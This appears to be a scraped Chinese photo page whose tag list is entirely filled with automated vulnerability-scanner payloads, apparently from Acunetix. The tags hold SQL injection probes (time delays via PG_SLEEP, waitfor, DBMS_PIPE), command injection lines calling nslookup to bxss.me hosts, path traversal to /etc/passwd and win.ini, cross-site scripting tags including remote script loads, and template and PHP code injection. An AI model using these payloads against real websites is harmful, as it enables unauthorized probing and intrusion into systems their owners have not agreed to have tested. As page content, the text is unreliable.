×
照片标签：
- 1
- 1Bg7AyxMBiO
- LOrV2UYz
- response.write(9367476*9443056)
- '+response.write(9367476*9443056)+'
- "+response.write(9367476*9443056)+"
- echo fwggtq$()\ dtptpk\nz^xyu||a #' &echo fwggtq$()\ dtptpk\nz^xyu||a #|" &echo fwggtq$()\ dtptpk\nz^xyu||a #
- &echo mjncnt$()\ ukccrf\nz^xyu||a #' &echo mjncnt$()\ ukccrf\nz^xyu||a #|" &echo mjncnt$()\ ukccrf\nz^xyu||a #
- ../../../../../../../../../../../../../../etc/passwd
- |echo sjlivt$()\ bmzqcs\nz^xyu||a #' |echo sjlivt$()\ bmzqcs\nz^xyu||a #|" |echo sjlivt$()\ bmzqcs\nz^xyu||a #
- ../../../../../../../../../../../../../../windows/win.ini
- (nslookup hittughxarekg8c5d1.bxss.me||perl -e "gethostbyname('hittughxarekg8c5d1.bxss.me')")
- $(nslookup hityetmrbtvkt95d80.bxss.me||perl -e "gethostbyname('hityetmrbtvkt95d80.bxss.me')")
- ../1
- &(nslookup hitbynmzoaewg4f4ab.bxss.me||perl -e "gethostbyname('hitbynmzoaewg4f4ab.bxss.me')")&'\"`0&(nslookup hitbynmzoaewg4f4ab.bxss.me||perl -e "gethostbyname('hitbynmzoaewg4f4ab.bxss.me')")&`'
- |(nslookup hitmubmvgafvq9ba52.bxss.me||perl -e "gethostbyname('hitmubmvgafvq9ba52.bxss.me')")
- `(nslookup hitgbjbwqljwta840f.bxss.me||perl -e "gethostbyname('hitgbjbwqljwta840f.bxss.me')")`
- hqIPGw0n
- -1 OR 2+933-933-1=0+0+0+1 --
- -1 OR 2+568-568-1=0+0+0+1
- -1' OR 2+698-698-1=0+0+0+1 --
- 1 bcc:074625.19568-232233.19568.44108.19131.2@bxss.me
- -1' OR 2+250-250-1=0+0+0+1 or 'G4HDWY0f'='
- to@example.com> bcc:074625.19568-232234.19568.44108.19131.2@bxss.me
- -1" OR 2+160-160-1=0+0+0+1 --
- if(now()=sysdate()
- sleep(15)
- 0)
- 0'XOR(if(now()=sysdate()
- 0))XOR'Z
- 0"XOR(if(now()=sysdate()
- 0))XOR"Z
- (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
- -1
- 12345'"\'\")
- 1<esi:include src="http://bxss.me/rpb.png"/>
- -1)
- 1 waitfor delay '0:0:15' --
- kAOHlQej'
- ${9999295+10000457}
- -5 OR 627=(SELECT 627 FROM PG_SLEEP(15))--
- -5) OR 126=(SELECT 126 FROM PG_SLEEP(15))--
- -1)) OR 982=(SELECT 982 FROM PG_SLEEP(15))--
- F84pQLqm' OR 934=(SELECT 934 FROM PG_SLEEP(15))--
- 7HupalbI') OR 124=(SELECT 124 FROM PG_SLEEP(15))--
- hEmnXHzD')) OR 70=(SELECT 70 FROM PG_SLEEP(15))--
- 1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99)
- 15)
- 1&n931993=v955200
- 1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98)
- 15)||'
- http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg
- '||(select 1 from (select pg_sleep(15))x)||'
- )
- 1some_inexistent_file_with_long_name .jpg
- ''||(select 1 from (select pg_sleep(15))x)||''
- !(()&&!|*|*|
- 1'"
- Http://bxss.me/t/fit.txt
- ^(#$!@#$)(()))******
- 1 %2527%2522
- http://bxss.me/t/fit.txt?.jpg
- @@8ALsz
- bxss.me
- '.gethostbyname(lc('hitqr'.'euibxmhn41bfe.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(98).chr(71).chr(107).chr(82).'
- ".gethostbyname(lc("hitke"."okwdowxme87d5.bxss.me."))."A".chr(67).chr(hex("58")).chr(97).chr(78).chr(121).chr(69)."
- '"()
- '
- HttP://bxss.me/t/xss.html?%00
- "
- "+"A".concat(70-3).concat(22*4).concat(106).concat(69).concat(110).concat(77)+(require"socket" Socket.gethostbyname("hitsc"+"homjwzxqf80b3.bxss.me.")[3].to_s)+"
- bxss.me/t/xss.html?%00
- ${@print(md5(31337))}
- '+'A'.concat(70-3).concat(22*4).concat(101).concat(75).concat(98).concat(83)+(require'socket' Socket.gethostbyname('hitkm'+'apcpyprc47aa2.bxss.me.')[3].to_s)+'
- ${@print(md5(31337))}\
- '.print(md5(31337)).'
- )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
- bibs
- bibs/.
- /xfs.bxss.me
- '"
- <!--
- 1'"()&%<acx><ScRiPt >4GOn(9597)</ScRiPt>
- '"()&%<acx><ScRiPt >4GOn(9109)</ScRiPt>
- 19295970
- response.write(9403045*9129385)
- '+response.write(9403045*9129385)+'
- "+response.write(9403045*9129385)+"
- Guv1Jid3
- echo pxazil$()\ rrgpgt\nz^xyu||a #' &echo pxazil$()\ rrgpgt\nz^xyu||a #|" &echo pxazil$()\ rrgpgt\nz^xyu||a #
- &echo gwrbzw$()\ ulbbgz\nz^xyu||a #' &echo gwrbzw$()\ ulbbgz\nz^xyu||a #|" &echo gwrbzw$()\ ulbbgz\nz^xyu||a #
- |echo qdlhtg$()\ schjmk\nz^xyu||a #' |echo qdlhtg$()\ schjmk\nz^xyu||a #|" |echo qdlhtg$()\ schjmk\nz^xyu||a #
- (nslookup hitdovztjhfqtd5239.bxss.me||perl -e "gethostbyname('hitdovztjhfqtd5239.bxss.me')")
- $(nslookup hitgcphzxgdyq1c296.bxss.me||perl -e "gethostbyname('hitgcphzxgdyq1c296.bxss.me')")
- 1%0abcc:074625.19568-296636.19568.3de83.19131.2@bxss.me
- &(nslookup hitpkcodkhlzmaf259.bxss.me||perl -e "gethostbyname('hitpkcodkhlzmaf259.bxss.me')")&'\"`0&(nslookup hitpkcodkhlzmaf259.bxss.me||perl -e "gethostbyname('hitpkcodkhlzmaf259.bxss.me')")&`'
- to@example.com>%0d%0abcc:074625.19568-296637.19568.3de83.19131.2@bxss.me
- |(nslookup hitvtwhnytcli363f2.bxss.me||perl -e "gethostbyname('hitvtwhnytcli363f2.bxss.me')")
- `(nslookup hitmejlozoltv8f548.bxss.me||perl -e "gethostbyname('hitmejlozoltv8f548.bxss.me')")`
- ${9999894+10000190}
- 1&n914214=v902711
- http://some-inexistent-website.acu/some_inexistent_file_with_long_name%3F.jpg
- 1some_inexistent_file_with_long_name%00.jpg
- http://bxss.me/t/fit.txt%3F.jpg
- '.gethostbyname(lc('hitff'.'obaadwgecee7c.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(101).chr(77).chr(107).chr(79).'
- ".gethostbyname(lc("hitlj"."cpnjwjgs2c2da.bxss.me."))."A".chr(67).chr(hex("58")).chr(107).chr(70).chr(115).chr(85)."
- "+"A".concat(70-3).concat(22*4).concat(105).concat(66).concat(107).concat(85)+(require"socket" Socket.gethostbyname("hitlj"+"pxqqxnqbe17cf.bxss.me.")[3].to_s)+"
- '+'A'.concat(70-3).concat(22*4).concat(114).concat(71).concat(101).concat(84)+(require'socket' Socket.gethostbyname('hittf'+'fenlzosw781ce.bxss.me.')[3].to_s)+'
- w3Cw9cRC
- -1 OR 2+103-103-1=0+0+0+1 --
- -1 OR 2+285-285-1=0+0+0+1
- ;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
- ';print(md5(31337));$a='
- -1' OR 2+974-974-1=0+0+0+1 --
- 1CmPiLGDaAO
- ";print(md5(31337));$a="
- -1' OR 2+242-242-1=0+0+0+1 or 'TzSsWMuT'='
- -1" OR 2+695-695-1=0+0+0+1 --
- 1'"()&%<acx><ScRiPt >61G0(9423)</ScRiPt>
- '"()&%<acx><ScRiPt >61G0(9504)</ScRiPt>
- 19101334
- NQ9VUeuo'
- acu3311%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca3311
- acux10821%C0%BEz1%C0%BCz2a%90bcxuca10821
- -5 OR 51=(SELECT 51 FROM PG_SLEEP(15))--
- <%={{={@{#{${acx}}%>
- -5) OR 314=(SELECT 314 FROM PG_SLEEP(15))--
- -1)) OR 224=(SELECT 224 FROM PG_SLEEP(15))--
- <th:t="${acx}#foreach
- PKVHj7uR' OR 798=(SELECT 798 FROM PG_SLEEP(15))--
- ZwqODzFC') OR 133=(SELECT 133 FROM PG_SLEEP(15))--
- 1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%>
- 1wUgi2lN')) OR 826=(SELECT 826 FROM PG_SLEEP(15))--
- acx{{98991*97996}}xca
- acx[[${98991*97996}]]xca
- oDuyqEiC
- acx__${98991*97996}__::.x
- -1 OR 2+921-921-1=0+0+0+1 --
- -1 OR 2+363-363-1=0+0+0+1
- -1' OR 2+742-742-1=0+0+0+1 --
- "acxzzzzzzzzbbbccccdddeeexca".replace("z"
- "o")
- -1' OR 2+471-471-1=0+0+0+1 or 'HeolYFDF'='
- -1" OR 2+93-93-1=0+0+0+1 --
- @@DJq6z
- acu3378%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca3378
- acux4756%C0%BEz1%C0%BCz2a%90bcxuca4756
- -1; waitfor delay '0:0:15' --
- -1); waitfor delay '0:0:15' --
- UTgB77tc'; waitfor delay '0:0:15' --
- -5 OR 865=(SELECT 865 FROM PG_SLEEP(15))--
- -5) OR 191=(SELECT 191 FROM PG_SLEEP(15))--
- acu5021%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca5021
- -1)) OR 353=(SELECT 353 FROM PG_SLEEP(15))--
- acux5186%C0%BEz1%C0%BCz2a%90bcxuca5186
- Y4mqiX5p' OR 182=(SELECT 182 FROM PG_SLEEP(15))--
- JC7keyOs') OR 730=(SELECT 730 FROM PG_SLEEP(15))--
- oZkD66ZY')) OR 189=(SELECT 189 FROM PG_SLEEP(15))--
- @@ScSC4
- 1%22onmouseover=61G0(98782)%22
- 1"onmouseover=61G0(90102)"
- 1" su5N=61G0([!+!]) AH8="
- 1\u0022onmouseover=61G0(97853)\u0022
- %31%22%6F%6E%6D%6F%75%73%65%6F%76%65%72%3D%36%31%47%30%28%39%30%39%38%34%29%22
- 1"sTYLe='acu:Expre/**/SSion(61G0(9341))'bad="
- 1"><script>61G0(9976)</script>
- 1<ScRiPt >61G0(9077)</ScRiPt>
- 1<WOOSG1>R5DLH[!+!]</WOOSG1>
- 1<script>61G0(9195)</script>
- 1%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%36%31%47%30%28%39%34%33%35%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E
- 1<ScRiPt >61G0(9731)</ScRiPt>
- 1<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9067></ScRiPt>
- 1< ScRiPt >61G0(9379)</ScRiPt>
- 1<isindex type=image src=1 onerror=61G0(9377)>
- 1<iframe src='data:text/html;base64
- PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9286'>
- 1<body onload=61G0(9019)>
- 1'"()&%<acx><ScRiPt >5TV0(9636)</ScRiPt>
- '"()&%<acx><ScRiPt >5TV0(9824)</ScRiPt>
- 1<img src=//xss.bxss.me/t/dot.gif onload=61G0(9428)>
- 1<img src=xyz OnErRor=61G0(9353)>
- 19674196
- 1<img/src=">" onerror=alert(9866)>
- %31%3C%53%63%52%69%50%74%20%3E%36%31%47%30%289308%29%3C%2F%73%43%72%69%70%54%3E
- 1\u003CScRiPt\61G0(9785)\u003C/sCripT\u003E
- 1<ScRiPt>61G0(9097)</sCripT>
- 1<input autofocus onfocus=61G0(9583)>
- <a HrEF=http://xss.bxss.me></a>
- <a HrEF=jaVaScRiPT:>
- 1}body{acu:Expre/**/SSion(61G0(9275))}
- 1Qw2br <ScRiPt >61G0(9507)</ScRiPt>
- 1<WATTBT>Y61VW[!+!]</WATTBT>
- 1<ifRAme sRc=9478.com></IfRamE>
- 1<aDOCv08 x=9679>
- 1<img sRc='http://attacker-9987/log.php?
- 1<a9W9mIZ<
- response.write(9206498*9961563)
- '+response.write(9206498*9961563)+'
- "+response.write(9206498*9961563)+"
- 1 bcc:074625.19568-297527.19568.44108.19131.2@bxss.me
- to@example.com> bcc:074625.19568-297528.19568.44108.19131.2@bxss.me
- echo prjkqo$()\ emqciz\nz^xyu||a #' &echo prjkqo$()\ emqciz\nz^xyu||a #|" &echo prjkqo$()\ emqciz\nz^xyu||a #
- &echo sxqrcb$()\ lncfqe\nz^xyu||a #' &echo sxqrcb$()\ lncfqe\nz^xyu||a #|" &echo sxqrcb$()\ lncfqe\nz^xyu||a #
- |echo vbqjxu$()\ looujo\nz^xyu||a #' |echo vbqjxu$()\ looujo\nz^xyu||a #|" |echo vbqjxu$()\ looujo\nz^xyu||a #
- (nslookup hitchivasmyfr91c8b.bxss.me||perl -e "gethostbyname('hitchivasmyfr91c8b.bxss.me')")
- $(nslookup hitpuhlcliuwu435a5.bxss.me||perl -e "gethostbyname('hitpuhlcliuwu435a5.bxss.me')")
- ${10000069+10000460}
- &(nslookup hithfbbwngzvja3fe0.bxss.me||perl -e "gethostbyname('hithfbbwngzvja3fe0.bxss.me')")&'\"`0&(nslookup hithfbbwngzvja3fe0.bxss.me||perl -e "gethostbyname('hithfbbwngzvja3fe0.bxss.me')")&`'
- |(nslookup hitvqvjnytzfn4f0c3.bxss.me||perl -e "gethostbyname('hitvqvjnytzfn4f0c3.bxss.me')")
- `(nslookup hitzoqtpprvfz42e4a.bxss.me||perl -e "gethostbyname('hitzoqtpprvfz42e4a.bxss.me')")`
- 1&n958169=v936713
- '.gethostbyname(lc('hitbo'.'hdwecvno58b19.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(119).chr(89).chr(110).chr(77).'
- ".gethostbyname(lc("hitdv"."kzxyzuewf6c64.bxss.me."))."A".chr(67).chr(hex("58")).chr(118).chr(83).chr(104).chr(84)."
- "+"A".concat(70-3).concat(22*4).concat(107).concat(77).concat(119).concat(90)+(require"socket" Socket.gethostbyname("hitje"+"hwnpepum0f3cf.bxss.me.")[3].to_s)+"
- '+'A'.concat(70-3).concat(22*4).concat(106).concat(88).concat(111).concat(79)+(require'socket' Socket.gethostbyname('hitst'+'kmrshocn7abae.bxss.me.')[3].to_s)+'
- 1'"()&%<acx><ScRiPt >OTZ3(9563)</ScRiPt>
- '"()&%<acx><ScRiPt >OTZ3(9178)</ScRiPt>
- 19358403
微信扫一扫, 保存到手机
